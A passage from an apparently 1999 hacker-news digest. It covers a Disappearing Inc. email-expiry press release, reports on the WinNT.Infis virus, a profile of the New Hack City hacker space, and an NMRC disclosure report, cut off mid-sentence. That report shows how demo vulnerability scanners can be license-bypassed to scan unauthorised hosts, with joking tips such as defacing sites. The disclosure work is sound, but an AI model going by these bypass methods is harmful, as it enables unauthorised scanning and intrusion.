1,000 employees would be looking at $36,000 to $60,000 — a sizable fraction of many companies’ information-systems budgets. “I think there’s a demand for this,” Werbach says. “The question is whether companies recognize the value of it.” Founded in November by brothers Maclen and Dave Marvit, Disappearing Inc. is a private company funded by venture capital from sources such as Ben Rosen, chairman of Compaq Computers, and Red Rock Investments, the investing arm of Ernst and Young. Maclen Marvit is CEO; Dave Marvit is director of product management. The Associated Press contributed to this report. -=- Contacts: Jeff Ubois Disappearing Inc. jeff@disappearing.com 415 365 6170 FOR IMMEDIATE RELEASE Debbie Morton Antenna Group, Inc. debbiem@antennapr.com 415 977 1935 Disappearing Inc. Makes Old Email Vanish Everywhere Reduces Corporate Liability as well as Improves Corporate Productivity by Enabling Sensitive Communications via Email — San Francisco (October 4, 1999) – Disappearing Inc. today announced technology that works with any email system to encrypt, authenticate, track and delete messages, including those stored on back-up tapes or forwarded to third parties. By eliminating the permanent record of casual conversations, Disappearing Inc. is making email safe for business. “Unprotected email is like a postcard – the wrong people can read it, there is no proof of delivery, and it stays around forever,” said Maclen Marvit, CEO of Disappearing Inc. “Our email policy management system protects messages while they are in use, and then makes them expire whenever the company chooses.” Manages the Entire Lifecycle “We want to enable people inside our company to freely engage in secure email conversations, and to control and track the use of the messages they send,” said John Jendricks, CIO of Juniper Networks (NASDAQ: JNPR). “To make that possible, we need tools such as those from Disappearing Inc. that manage and secure email throughout its entire lifecycle.” Unfortunately, most other companies are routinely transmitting sensitive information via email without adequately understanding the risks. According to one study, by the year 2000, an estimated 80 percent of companies without a comprehensive information management life cycle will experience legal repercussions. Disappearing Inc. Makes Old Email Vanish Everywhere (2) “We have been following the issue of email retention and associated liabilities for several years,” said David Ferris, president of Ferris Research (www.ferris.com), a San Francisco-based consultancy specializing in messaging, directories and collaboration. “Disappearing Inc. solves a number of problems that have been expensive and intractable.” Lets Companies Universally DeleteÔ Messages The Disappearing Inc. email policy management system encrypts each message with a unique key to prevent unauthorized access. Receivers then authenticate themselves in one of several ways before viewing a message. There is a record of all access, and when a particular key is destroyed, the associated message then becomes unreadable. When a message is deleted, all copies – including those stored on back-up tapes or forwarded to third parties – become unreadable. This eliminates the devastating liability created by casual comments archived permanently in email. With the Disappearing Inc. system, companies can specify and consistently enforce policies that govern how long they want to retain different types of messages. For example, a public company might require that all messages related to SEC compliance be archived permanently but that everything else is deleted after a period of ninety days. Supports E-commerce Initiatives In addition to enabling internal email policies, Disappearing Inc. supports online sales and service applications. For example, an Internet retailer might use the Disappearing Inc. system to send order confirmations and bills via email. Or, a financial services company might use the system to respond to customer questions where the answer contains sensitive information. By the year 2002, more than 60 percent of companies adopting e-commerce will use Internet management and security tools like Disappearing Inc., according to recent market research reports. This eliminates the need to use more time consuming media such as the phone and certified mail. The result is increased responsiveness and customer satisfaction. Disappearing Inc. Makes Old Email Vanish Everywhere (3) Integrates with Any Existing Mail System The solution works regardless of what email client the sender and receiver of a message is using – including but not limited to Web Mail, Microsoft Outlook, Netscape Mail and Eudora. Unlike other offerings, the Disappearing Inc. system requires no changes to the way users read, write or file their messages. This eliminates any need for employee retraining. IT management will also be happy that there is no required change to their existing infrastructure. The Disappearing Inc. system operates transparently with security technologies like Public Key Infrastructure and automated email response management systems from vendors like eGain and Kana. About the Company Disappearing Inc. is a privately held company whose solutions are making email safe for business. Since incorporating in February 1999, the company has received investments from Angel Investors LLP; Compaq Computer’s chairman Ben Rosen; and Red Rock Ventures (www.redrockventures.com). One of the major limited partners of Red Rock is Ernst & Young LLP. For more information, please contact Disappearing Inc. at 1-415-896-5000; or via email at info@disappearing.com; or via the World Wide Web at www.disappearing.com. # # # # The Disappearing Inc. logo, Making Email Safe for Business, and Universally Delete are trademarks of Disappearing Inc. All other trademarks mentioned herein are the property of their respective owners. -=- Disappearing Inc. FAQ 1. What is DI’s primary business? Disappearing Inc. is making email safe for business. By controlling messages across their entire lifecycle Disappearing Inc. makes it safe for businesses to communicate with their partners and customers. 2. How does Disappearing Inc. make email safe? Encryption: All email messages are encrypted before they are sent to make sure that they can not be intercepted and read. Authentication: To make sure to make sure that the sender and the recipient are really who they say they are, a user identification code and password may be required. Tracking: A complete audit trail is maintained for each message, indicating who has received the message and when they first read it. Retrieval: Using the email client of their choice and the plug-in from Disappearing Inc., users can decrypt and view any message that they are authorized to access. Deletion: Finally, at the end of the message lifecycle, Disappearing Inc. Universally Deletes™ the message from the local PC, the mail server, and backup tapes so that nobody can ever read it again. 3. Why can’t we use regular old email to communicate with our businesses partners and customers? The speed, convenience, and low cost of email make it a great medium. But regular “unprotected” email can create serious problems. Email is public like a postcard. As unprotected email moves through the network from sender to recipient it is easy for unauthorized people to read it along the way. There is a concern when sensitive customer or financial data are transmitted. The wrong people can read it. With unprotected email, even if the message gets through the network without being compromised, you can’t be sure who is reading it at the other end. And the reader can’t be sure who really sent it. The sender never knows who read it or when. With unprotected email, there is no feedback about who read your message and when. Although some systems do offer return receipt, these don’t work between different email systems. Email is forever. Once an unprotected email message is sent it can not be erased. Copies linger on backup tapes, offline machines, recipients’ machines, as forwarded messages and so on. As such, email discovery has become a standard part of most corporate litigation. 4. Do I need to change my current email infrastructure? No change to the current email infrastructure is required. Messages written with Disappearing Inc.’s system flow through a company’s existing email servers. And, users can continue to use their current email clients such as Web Mail, Microsoft Outlook, Netscape Mail and Eudora. 5. Do my users need to change their behavior or learn anything new? No. There is no change in the way users read, write, or file their email. No training or education is required. 6. How does Disappearing Inc. work with existing security solutions? Disappearing Inc. operates seamlessly with the leading existing security solutions. In addition, Disappearing Inc. offers an alternative security solution for dealing with people who have not registered with a certificate authority. 7. What makes DI different? We have a fundamentally different philosophy about security. Most players in the security space have adopted a similar business model, making sure that only certain people get access to sensitive information. Disappearing Inc. focuses on protecting the sender and receiver of the information by managing its entire lifecycle. At the end of the lifecycle, we use policy rules to decide what information gets archived and then Universally Delete™ the rest. We manage every document separately: There are a number of email security solutions on the market. Most focus on authenticating an individual and then granting them access to all of their documents. With Disappearing Inc.’s email policy management system, companies can not only authenticate users but also track and delete individual documents. Cross platform tracking: Other tracking systems don’t work across different platforms. For example, if someone using Microsoft Outlook wants to track a message sent to someone using Netscape Mail, most tracking software do not work. With Disappearing Inc., tracking works across platforms, eliminating any concern about what type of email package the sender or recipient is using. Everyone can read our messages: When other email security systems are used the sender needs to know what kind of client the recipient has. With Disappearing Inc. the sender can send messages to anyone with confidence. If the recipient does not use an email client supported by Disappearing Inc., then the message will appear as an attachment that they can open from within the WWW browser of their choice. 8. When will DI be available? Who are the initial customers? Disappearing Inc.’s email policy management system is in pre-release now. The initial customers include high-technology, financial services, and telecommunications companies. 9. How do I contact Disappearing Inc.? Please send questions or comments to: info@disappearing.com or send postal mail to: Disappearing Inc. 301 Howard St., Suite 1800 San Francisco, CA 94105 @HWA 16.0 New Virus Found in Russia ~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by no0ne A new NT specific virus has been discovered in the wild by researchers in Russia. WintNT.Infis is memory resident, acts like a system driver, and is able to infect files running in NT4 with service packs 2 thru 6. Windows 2000 is supposedly immune. The UK Register http://www.theregister.co.uk/991008-000014.html Computer World http://www.computerworld.com/home/news.nsf/all/9910085ntvirus InfoWorld http://www.infoworld.com/cgi-bin/displayStory.pl?99108.enntvirus.htm Kaspersky Lab - Discoverers of the Virus http://www.kasperskylab.ru/eng/news/press/991007.html UK Register; Posted 08/10/99 2:31pm by Sean Fleming NT security busted by new virus threat Worried systems managers are facing what is thought to be the first virus to integrate with NT's security protocols. Found in the wild, it is called WinNT.Infis and acts as a system driver. It resides in the memory and will infect files in systems running NT4 with the following services packs – 2, 3, 4, 5, and 6. Although not particularly destructive, WinNT.Infis will corrupt programs and invokes a series of NT application error messages. MSPAINT.EXE, CALC.EXE, and CDPLAYER.EXE are all likely to be rendered inoperable by the virus which will install the file INF.SYS in the /WinNT/System32/Drivers folder. The virus was spotted by two anti-virus companies – Kaspersky Lab and Central Control. A fix for the virus is available by clicking here. ® ComputerWorld; Online News, 10/08/99 04:15 PM) NT-specific virus crops up in Russia By Kathleen Ohlson A virus specific to the Windows NT operating system has been found "in the wild" for the first time, appearing outside of research laboratories, according to Central Command Inc. and Kaspersky Lab. The virus -- WinNT.Infis -- was discovered yesterday in Russia, said Keith Peer, president of Central Command. It infected a customer's system, causing some applications to be unusable, Peer said. There have been no further reports of infection, but the organizations will watch the situation, he said. WinNT.Infis acts as a Windows NT system driver, he said, bypassing some internal security safeguards and affecting a computer's memory. Central Command describes WinNT.Infis as a "file-infecting, memory-resident virus" that works under Windows NT 4.0 with Service Packs 2, 3, 4, 5 and 6 installed. It doesn't infect systems running Windows 95, 98 and 2000, or other NT versions. Peer said WinNT.Infis doesn't contain any destructive payload, but may cause some executables not to run. The virus code also contains errors that may corrupt programs when infecting them. One sign of infection is that applications such as MSPAINT.EXE, CALC.EXE AND CDPLAYER.EXE don't operate. Users are advised to install their antivirus software and keep it updated. InfoWorld; New Windows NT virus discovered in the wild By Terho Uimonen InfoWorld Electric Posted at 9:44 AM PT, Oct 8, 1999 Two anti-virus companies on Thursday jointly announced a new software virus that infects computers running certain versions of Microsoft's Windows NT operating system. Named WinNT.Infis, the virus is the first one "found in the wild," outside of labs, that is capable of making its way into the highest security level of the operating system, Central Command and Kaspersky Lab officials said in a statement issued Thursday. Windows NT is Microsoft's high-end operating system, designed mainly for use in servers and workstations. The WinNT.Infis virus acts as a Windows NT system driver, and is very difficult to detect and remove from an infected computer's memory, the statement said. It is a file-infecting, memory-resident virus that operates under Windows NT 4.0 with Service Packs 2, 3, 4, 5, 6 installed. WinNT.Infis does not infect systems running other versions of NT, Windows 95/98, or the forthcoming Windows 2000, the companies’ officials said. Kaspersky Lab has offices in Moscow, Russia, and Dublin, Ireland. Central Command is located in Medina, Ohio. Detection and removal capabilities for the WinNT.Infis virus has been added to Central Command's AntiViral Toolkit Pro anti-virus database that can be found at www.avp.com. Terho Uimonen is a Scandinavian correspondent for the IDG News Service, an InfoWorld affiliate. Kaspersky; 7 October, 1999 A Virus Attack on Windows NT Kaspersky Lab discovered a new computer virus integrated it the highest security level of Windows NT Moscow, Russia, October 7, 1999 - Kaspersky Lab, a world leader in anti-virus software technologies announces the discovery of the world's first computer virus, that integrates in the highest security level of Windows NT operating system. This is a first virus that acts as a Windows NT system driver. It makes very difficult to detect and remove the virus from computer memory. WinNT.Infis virus has been found "in-the-wild" on October, 7 by Kaspersky Lab's anti-virus experts. They have received it from Stanislav Bratanov, Software Technologies Laboratory (Nizhny Novgorod, Russia). General Characteristics "Infis" is a file memory resident virus operating under Windows NT 4.0 with Service Packs 2, 3, 4, 5, 6 installed. It does not affect systems running Windows 95/98, Windows 2000 or other versions of Windows NT. Infection indication The main infection indicator is impossibility to run some programs. For example, MSPAINT.EXE, CALC.EXE, CDPLAYER.EXE etc. Because of errors the virus corrupts some file when infecting them. Another indicator of virus presence is INF.SYS file in /WinNT/System32/Drivers folder. Installation Upon running of an infected file the virus copies its body to INF.SYS file in Windows NT drivers folder WinNT\System32\Drivers. Then it creates a key with three sections in Windows system registry: \Registry\Machine\System\CurrentControlSet\Services\inf Type = 1 - standard Windows NT driver Start = 2 - driver start mode ErrorControl = 1 - continue system loading on error in driver As a result the virus in INF.SYS file is activated every time the operating system starts. When INF.SYS file is activated the virus launches a subroutine for infecting Windows NT memory. When the virus completes its installation in the memory it takes control over Windows NT internal undocumented functions. The virus intercepts file opening, check file's names and their internal format and then calls the infection subroutine. Infection The "Infis" virus infects only PE (Portable Executable) EXE-files except CMD.EXE (Windows NT command processor). When infecting it increases the file length with the length of its "pure code" - 4608 bytes. The virus avoids repeated file infection. It recognizes already infected files by "date and time" stamp, prevously changed to -1 (FFFFFFFFh) value. Payload The "Infis" does not carry any destructive payload. However, it contains errors that corrupt some files when infecting them. When the corrupted file is run it invokes a standard Windows NT application error message: Detection and removal routines for WinNT.Infis virus were added in the emergency update of AntiViral Toolkit Pro (AVP) anti-virus database. It is available at Kasperky Lab's WWW site at www.kasperskylab.ru/eng/products/download.html. For a complete information on WinNT.Infis and thousands of other viruses and malicious code, please visit Kaspersky Lab's Virus Encyclopedia at http://www.viruslist.com. @HWA 17.0 New Hack City ~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Bronc Members of the mysterious hacker lair, New Hack City, have granted an exclusive interview to Bronc Buster. He describes it as 'one of the last few strongholds of the original hack ideals.' The Synthesis http://www.thesynthesis.com/tech/newhackcity/index.html (Follow link for some killer photos of this cool hangout) After our long trip, we were finally there. We had driven for over three hours, gotten lost in downtown San Francisco, and couldn’t recognize one warehouse from another that we were passing by. Finally, from the backseat, Macki tells me to make a U-turn and pull over. We are sitting out in front of one in a long line of identical warehouses. I look over and see the brick and concrete building: metal grates on the windows, huge, foreboding metal doors. Macki calls upstairs on Rsnake’s cell phone, tells the voice on the other end that we’re here, and then asks which door to enter through. We wind up a large, old concrete stair case to another huge set of metal doors on the second floor and step out into a very big, very long, dimly lit hallway. Macki navigates the way through the maze of hallways until we get to a huge blue medal sliding door, with a little sticker on it that says New Hack City. I had been here before, but it had been a long time, so it took me a second to acclimate myself. Flashing multicolored lights, loud techno music, dim glows from the many computer screens and a video game projected on the wall greeted us as we came in. This was the place, the infamous hacker hang out, New Hack City. Many people had heard of it, but fewer than one hundred people, besides members and close friends, have been allowed within its doors in its two-year history. It’s the kind of place you see in movies, but think doesn’t exist in real life. A blend of multimedia, music and technology, put together by some of the best known people in the computer underground. New Hack, as the people who hang out there like to call it, was an idea that started way back in 1995 on the opposite side of the country, in Boston. It started with several friends wanting to find a place to gather, where they could share their experience with each other, learn, experiment, and most importantly pool their limited resources. In the early days of the Internet, as we know it, computer equipment was expensive, and dial-up access to it was hard to come by and was also expensive. It made sense for this group of friends to get a house together, start their own network and work off one dial-up account with all their pooled equipment. Like many good computer and technology people back then, none of them had computer-related jobs. FreqOut, one of the original members and a mentor in the group, had worked at a grocery store and dropped out of college, disappointed with the slow learning curve. Back then computer-related jobs were hard to come by, so most people "worked out of their garage," as the saying goes. The people at the soon-to-be New Hack City were no exceptions. After 1994’s HOPE, or Hackers On Planet Earth convention held in New York City by 2600, some of the guys got motivated and had the idea to start a place up that was more than a hobby room—some place serious, where they could have fun, but at the same time really experiment, and learn about the inner workings of technology. They called it HELL. Similar to their place now, they pooled all their resources and equipment and started doing their own thing. Unfortunately, like its namesake, it burnt down when the building next door caught fire and took their house up with it. HELL, and everything they had there, went up in smoke. Not to be deterred, some of them got a new place and started over. They started working out of their dirt-floored basement, and soon made it into a lab, building it all themselves (a fact FreqOut is very proud of). They did everything, from making the shelves to pouring the concrete for the circuit board-painted floor. Getting donated equipment from the friends they had made in the community and the underground, they soon had another network up and running. This is when the idea for the original New Hack City was spawned. The new place happened to be located near another group of their friends, who were also like-minded, and loved the idea of getting a place where they could all gather, pool all their resources, learn from each other, and become more of a driving force in the hacking community. So five people, FreqOut, GarbageHeap, ChukE, Rosie, and Deth Veggie, start the original New Hack City in Boston in 1995. Soon a group formed around New Hack, and they started working with other, now famous, hacking groups like the L0pht, 2600, and others. As time went by, some of them started to break into the computer industry, and got computer and technology related jobs. With these jobs came more money, and as more money started to roll in, New Hack City started to get more and more high tech equipment. Soon New Hack was no longer playing catch-up, but was starting to near the cutting edge, and with their increased money flow, they started to build more equipment, and take on bigger and bigger projects. New Hack City was starting to get well known in the underground, and among their peers, but a hacking spree by a local hacker, not affiliated with New Hack City, brought the spotlight on their place, which the newspapers started calling a "hacking house." As usual, the media’s spotlight was not a good one, and the scene started to turn foul as the work hacker started to have a negative connotation. During the summer of 1996, FreqOut flew to California to stop in for a job interview on his way to DefCon 4 in Las Vegas, and to his surprise, he was hired on the spot. Two weeks later, FreqOut, one of the crucial members of New Hack City, moved to San Francisco to start work for one of the biggest companies on the Internet. As fate should have it, at about the same time, another New Hack City vet, Deth Veggie, also moved to the Bay Area for a job. The migration had begun. The displaced New Hack City members soon hooked up with another Bay Area-based hacking group called the DOC, which is short for the Dis.Org Crew, and started to learn the ropes of West Coast living. When word reached back east as to the good fortune of their comrades out west, slowly, one by one, several members of what they now call New Hack City East, started to come to the Bay Area. As more and more of the group started to get together once again on the West Coast, the original New Hack City back east started to fold. At a barbecue in late 1996, a mutual friend introduced FreqOut to a person who calls himself Reid Fleming, who happens to a member of another infamous hacker group, the cDc, and they started talking. Reid and FreqOut hit it off, and soon after started looking for a place where they could start New Hack City West. Over the next year, they got a group of people together that shared their ideas, motivations, and interests, and with the help of some of the cDc they found a place for the new home of New Hack City. In September of 1997, FreqOut, ChukE, Deth Veggie, Gweeds and Reid open the new, New Hack City. That was two years ago. Now New Hack is a central gathering place, where people can separate their personal lives from their hacker persona. A place where all sorts of technological gadgets reside, and where there are more monitors than people. Inside their fortress of a building, they have high speed Net access thanks to a T-1 line run into their server room, which is then used to wire the rest of the rooms. They have several work benches, one for electronics, which happened to have a working laser on it when I was there, along with a ton of other tools needed for making and fixing electronics. They have a workbench for computers, where they had several working, and several soon-to-be cannibalized computers. In the back they have a wood and metalworking workbench with Skil saws, a drill press, a working arc welder and various other heavy tools. They have an isolated server room also in the back where they keep their system of OpenBSD boxes up 24/7, behind a firewall. If you think that is amazing, they also have a working hot tub, a refrigerator, and projection system that projects movies, games or whatever they run to it on a wall like a huge TV. They have a multimedia DJ-like area, where they have all their lighting systems, huge speaker system, fog pump and projectors with several computers hooked into it. There is a large collection of movies, games, software and books on various shelves around the room, as well as a lot of "things" hanging up around the place that would be of interest to someone of the underground mindset (let your imagination wander). It’s no wonder their invite-only parties attract some of the most well known people in the underground from all across the country. As Reid and FreqOut put it, they want New Hack City to be a place where people are free to experiment and do whatever they want. They wanted it to be a place where they could all pool their knowledge and resources, and not be in a confined area, like someone’s house, or job, where their freedom to experiment might be hindered—a kind of hacker think-tank. They also wanted it to be the focal point for the local hacking scene, so it could be a strong influence in the local hacking community. An important point everyone touched on while I talked to the guys at New Hack, is that they wanted to make this place "media friendly." From time to time they invite people from the media to come to New Hack City, and see firsthand what hacking and the underground is really all about, without all the hype and without all the cloak and dagger that the underground is sometimes shielded in. I would describe New Hack City as a cross between a rave party, with their multimedia shows, lights and loud techno music, and a high-tech college computer lab with a ton of high tech equipment, computers littering the building and people who are really intent and motivated sitting behind them. In short, as I said a while ago, it’s something you think would only exist in a movie. New Hack City also has close ties with other major hacking groups, which helps it be such a driving force in the underground. Many members of New Hack are also in the cDc, have been associated with the L0pht or worked with 2600. Regular people that hang out include a few people from the DOC, some people with 2600, and other notable groups. When I was there, several cDc members were there that are also part of the New Hack crew; like Tweety Fish, Deth Veggie and Sir Dystic (who wrote the original Back Orifice tool). Thanks to the close ties with most of the major underground and hacking groups on the Net, and with its good relationship with the media, New Hack City has become a positive force for the hacking community at large, while at the same time keeping its mysterious veil pulled down, and keeping that dark aura about it. Unfortunately no, chances are you can’t go there on your next trip to the Bay Area. Even though they have let outsiders in, like journalists, friends, or important people who come to the Bay Area for a visit, it is not open to everyone. Because of what goes on there is sometimes of a questionable nature, and because of who the people are who hang out, and work there, they require a level of privacy above the norm. This might explain why the building where they chose to locate New Hack is more like a fortress than a lab. Even though you can't check out their place, you can take a look at what they are about, and maybe even get the scoop on projects they are working on by checking out their Web site at www.newhackcity.net. Most of the current projects they are working on they keep secret, or within the group, but others they like getting feedback on. One future plan that was talked about was to put together some sort of free class. The goal would be to help educate local media people, business owners and anyone who might be misled or confused by the scare tactic stories they hear on the TV, or read in the papers, about hackers and events relating to them. Keeping true to their original goals, not only doing their own things like they always have, but now starting to give back, and helping bring the truth to light, has made New Hack City one of the last few strong holds of the original hack ideals. I need to thank the guys at NHC for taking the time to talk to me for hours, for taking those wacky pictures, in and out of the freight elevator, and for bringing us to that killer restaurant (no monks coming over for me, thanks). Also a big thanks to Macki and RSnake for having the guts to get up so early to drive down with me with me. @HWA 18.0 Commercial Demos Used as Script Kiddie Tools ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Simple Nomad The top commercial vulnerability scanners have little to no security surrounding their licensing, making them excellent script kiddie tools. These scanners are actively being used by the underground against targets. All that is required is a download of the demo version of a vulnerability scanner from a commercial vendor, and a little bit of time. Nomad Mobile Research Laboratory http://www.nmrc.org/lab/scanners.txt _______________________________________________________________________________ Nomad Mobile Research Centre L A B R E P O R T "Crackers and Commercial Vulnerability Scanners" or "I'm a lame cracker and can't get BASS to compile, how can I download a commercial vulnerability scanner and start checking the entire Internet in 5 minutes?" www.nmrc.org Simple Nomad [thegnome@nmrc.org] 11Oct1999 _______________________________________________________________________________ Synopsis -------- The top commercial vulnerability scanners have little to no security surrounding their licensing, making them excellent script kiddie tools. These scanners are actively being used by the underground against targets. Tested configuration -------------------- Testing was done with the following configuration : Platform: Microsoft NT 4.0 Server and Workstation with SP3 (no additional hotfixes) Microsoft NT 4.0 Server and Workstation with SP5 (with Csrss, LSA-3, RAS, WinHelp hotfixes) Products: Bindview's HackerShield Product Version 1.10.1106, Package Version 11 ISS' Internet Scanner Version 5.8.1 NAI's CyberCop Scanner Version 5.0 WebTrends' Security Analyzer v2.1b How We Selected and Tested -------------------------- First off, you ask how we chose our products, and why we didn't choose some over others. Well, we have limited resources and time, so we chose to limit testing to a few, and not all of the vulnerability scanners out there. We chose only commercial products instead of freeware, since the freeware products by nature offer no security features themselves. Arguably, our "scientific" selection of products were limited, and mainly consisted of two important questions -- "What is popular", which got ISS and NAI into the picture, and "What is currently loaded we can play with" which landed us Bindview and WebTrends products. They also had to have a demo version available for download from their web site. After we had started testing, Security Focus (http://www.securityfocus.com/) ran a poll on the most popular network security scanners, and three of our four choices made the top four. The fourth, NetSonar by Cisco, does not have a downloadable demo version. So what was the testing method? Download the eval, install it, and try to start scanning sites we have no business performing a vulnerability scan against, and do it within 5 minutes of installation. We did not test the security of the product once it was installed. For example, all of these products had access controls around the installation directories, and most required you have local admin access to run them, or at least take advantage of all of their features. Why We Did This --------------- We had heard of hackers using commercial vulnerability scanners to map out networks before they were compromised, plus we found traces of an ISS scan on a host that should not have had ISS run against it, and wondered who did it. When we determined who had done it, we could not believe someone so lame could figure out the security surrounding ISS, and hence..... Products Background ------------------- Commercial vulnerability scanners all tout themselves as being more robust, more thorough, and better designed than their freeware counterparts. The idea is simple -- to stay ahead of the intruders, you need a powerful tool that can perform assessments of entire corporate networks with dozens and dozens of vulnerability checks. To ensure their scanners are the most thorough and complete scanners available, the larger software developers of vulnerability scanners have research teams that scour the Internet for the latest vulnerabilities, and hire coders to help add checks for these vulnerabilities to their scanners. The top scanners are developed for large-scale scanning, and are capable of looking at thousands of hosts for hundreds of vulnerabilities. They have a myriad of reporting features, most have some type of automation, and they are even capable of actual compromise (through password guessing, file grabbing, etc). NMRC recently looked at four scanners -- Bindview's HackerShield, NAI's CyberCop, ISS' Internet Scanner, and WebTrend's Security Analyzer. All four have the ability to perform detailed and thorough scans of target systems, each with various reporting capabilities. And while their intent is to give the corporate or government system administrator an advantage over the potential intruder by providing the most comprehensive tool for finding vulnerabilities, due to the lack of decent security surrounding the demo versions of these tools, some are being downloaded and (ab)used by the intruder community. Legality Note ------------- Using these commercial products without paying for them, or altering or bypassing any licensing restrictions, is illegal. Of course one would assume that any potential intruder getting ready to commit an illegal intrusion into someone else's computer system is probably going to disregard the licensing restrictions of most commercial software, including vulnerability scanners. We are not advocating you download and point a demo product at a .mil site just to see if it works. This is more than port scanning, which for the most part is legal. The Denial of Service and file-grabbing features alone of some of these products could land you in jail if you are not careful. NAI's CyberCop Scanner ---------------------- Minutes to start scanning : 0 Large-scale Usability : 100% Favorite feature : CASL (Custom Audit Scripting Language) There are no target restrictions on this product. Download the demo from NAI's web site, point it at anything you want, and begin gathering data. When NAI's technical support line was contacted (see Appendix A below), we asked if we were on the honor system as we could not find any restrictions. The individual at tech support laughed and said yes, but stated the download was a limited time demo of thirty days. We could find no such time restriction ourselves. Large scale scanning was a piece of cake -- simply add in your hosts and start whacking away. Script kiddie bonus: Hollywood-influenced script kiddies will love the network mapping features, which allow you to fly around in a virtual 3D world looking at network nodes. Use only the Trace Route to Host module to create a nifty 3D model of the network you plan to compromise. Bindview's HackerShield ----------------------- Minutes to start scanning : 2 Large-scale Usability : 95% Favorite feature : HSMapper, the remote OS identifier that automatically identified target systems. To keep track of what vulnerabilities were checked against what systems, and what IP addresses are allowed to be checked, HackerShield uses a database. Unfortunately, they use a Microsoft Access database, and rely on Access' built-in password protection to protect the database. The password is stored in plaintext in the HackerShield.exe program, which renders the security surrounding the database useless. Even if it were obfuscated, it is easy to recover (see Appendix B below). When downloading the demonstration version of the HackerShield program from the Bindview web site, you are emailed a 5-IP address license that is good for two weeks. The license file is loaded into the database. Opening the HackerShield.mdb file in Access (using the recovered password) allows an intruder to manipulate all of the tables inside, including the licensing parameters. You can increase the number of hosts you can scan, the network segments to scan hosts on, and you can adjust the expiration date. Anyone with basic database knowledge should be able to make the adjustments fairly quickly. We pointed this out to Bindview, and they were already aware of this flaw in their licensing. Their attitude surprised us, but essentially they'd prefer to focus programming resources toward enhancing their product than securing it from license defeating. They are aware the steps they have taken are weak, but insist the main goal is to help the commercial user stay within the limits of what they paid for, not protect it from nefarious use. Large scale scanning was limited to editing the database, although it wasn't a hard thing to do. Script kiddie bonus: Use the automation features to schedule scans to run unattended on your NT workstation. The scheduled jobs can run even if you are not logged in, as they use a Service User to perform automation. ISS' Internet Scanner --------------------- Minutes to start scanning : 1 Large-scale Usability : 95% Favorite feature : Can run in command line mode if properly coaxed. Downloading ISS' Internet Scanner allows you to demo the product in localhost mode. To use the scanner against network targets requires a key. To give the appearance of sophisticated encryption, the key looks similar to a PGP public key, with "-----BEGIN ISSKEY5----" at the beginning of the key and "-----END ISSKEY5----" at the end of the key. Between these lines are a series of lines of "secret cipher text". While it is fairly obvious that the encryption used here is weak (it is U.S. exportable) and it is a symmetrical algorithm, it has apparently been broken to some degree. A quick search in AltaVista using the key words "keygen" and "iss" should reveal the program that a number of Russian and Eastern European hackers have been making use of for months. When contacted about this, ISS responsed: "Internet Scanner restricts the range of IP addresses reachable by a given customer. The IP address restrictions protect a customer from accidentally scanning outside their own network or it can be used to keep Administrator Jane from scanning Administrator Bob's portion of the network. "Over the years we have advanced the security around the license key mechanism that controls this feature. The latest version of our license key mechanism uses a DSS signature on a SHA hash of both the license as a whole and individual pieces of information within the key to insure integrity, and then uses blowfish for encrypting the key as a packaging mechanism. The cracker discovered a flaw in the signing and signature verification implementation and exploited those flaws, providing a method to bypass the control mechanism. Despite the signing/verification flaw, defeating the license mechanism required considerable expertise and effort. "Internet Scanner is designed to be easy to detect when scanning a network. By design Internet Scanner also leaves "fingerprints" in the logs of scanned machines. These fingerprints provide a means for determining the computer performing the scan. "We will continue to enhance the security of Internet Scanner's control mechanisms. Despite the difficulties and inconvenience of controlling Internet Scanner's range we believe it is the appropriate action for a security company and the behavior expected by our customers." This was the best response. We'll _assume_ they will fix the signing and verification flaw in later releases of their software. Large-scale scanning was easy to set up, but was dependent on the key you generated using the keygen program. New class Bs and Cs to target required new keys. Script kiddie bonus: Print detailed reports with exactly how to correct the problems and leave them behind at cracked sites for the poor admins to use (ISS has excellent reporting capabilities). In fact, replace the index.html with the generated HTML report you used to attack the site. Probably would be much more interesting than most web defacements anyway. Webtrends' Security Analyzer ---------------------------- Minutes to start scanning : 18 Large-scale Usability : 0% Favorite feature : Had a vulnerability test for the HackerShield service user we reported on recently. Security Analyzer was quick to set up and get going, but the web demo version is hard-wired for localhost. We decided to give it a whirl anyway, especially after we discovered that the "localhost" hard wiring was simply to grab the first adapter configured. We were able to scan hosts we didn't own by deleting and configuring adapters until 10.10.10.10 was grabbed first by Security Analyzer. Once that was done, locally loaded proxy software or software that does NAT (Network Address Translation) allowed us to direct traffic to outside sites. We did go over our 5 minute goal, and we were only able to scan one host at a time. To scan a new host required proxy/NAT reconfiguration each time, and this was very time consuming considering the fact we had three other scanners that allowed much more freedom. Therefore large-scale scanning was simply impractical for our purposes. Webtrends had also put in a 14-day limit on the trial version, which worked as advertised. We did not try to defeat this limit. NMRC did not contact Webtrends as we felt we really didn't have much to report. They probably shouldn't use the first adapter on the list, and use 127.0.0.1 instead, but loading and configuring a proxy or NAT to invoke network scans is a lot of effort. As far as asking which proxy/NAT software to use, take your pick. We encountered problems with every package we tried as various vulnerability checks would cause the setup to crash or malfunction. Script kiddie bonus: Sorry, more trouble that it's worth. Conclusions ----------- If you are a system administrator, please bear in mind that using one of the commercial scanners does not give you any tactical advantage over the intruders you are trying to keep out of your system. When one of these commercial vendors state that their tool allows you to see your systems the way a potential intruder does, they are not kidding. It is true (as stated in ISS' response above) that these software packages will leave footprints in systems. This can be a blessing and a curse. If you have an "outer perimeter" computer system you scan with CyberCop (leaving a footprint), if compromised the intruder can see what is used to test the security of the system, and could conceivably turn that against you by starting a general mapping of your internal systems using CyberCop. It is possible that a sys admin will overlook the intruder's CyberCop footprints, thinking they are his own. Solution/Workaround ------------------- There is no solution or workaround. This is the old "please Dan, don't release Satan" argument. We are happy to see that there are commercial vulnerability scanners with fine research behind them. We are also happy that users can download demo products to test before they buy. Just bear in mind these tools can and more importantly ARE being used by the underground (which is the main reason we are releasing this paper). If you are using an IDS, you might want to make sure it can detect some of the more exotic exploits these products can produce, especially if these exotic exploits actually compromise systems or perform DoS attacks. If you've adjusted your IDS to ignore certain patterns, for example a standard ISS scan, them perhaps you should review those rules. Comments -------- NMRC believes that if you are charging money for a security product that has little to no security built in to protect itself from abuse, it is in fact a poor message. There are five approaches: 1) Do nothing (NAI). 2) Do a minimal amount to keep the end user within the license restrictions (Bindview). 3) Come up with something the *looks* like state-of-the-art encryption and licensing, and hope it isn't broken (ISS). 4) The downloadable demo 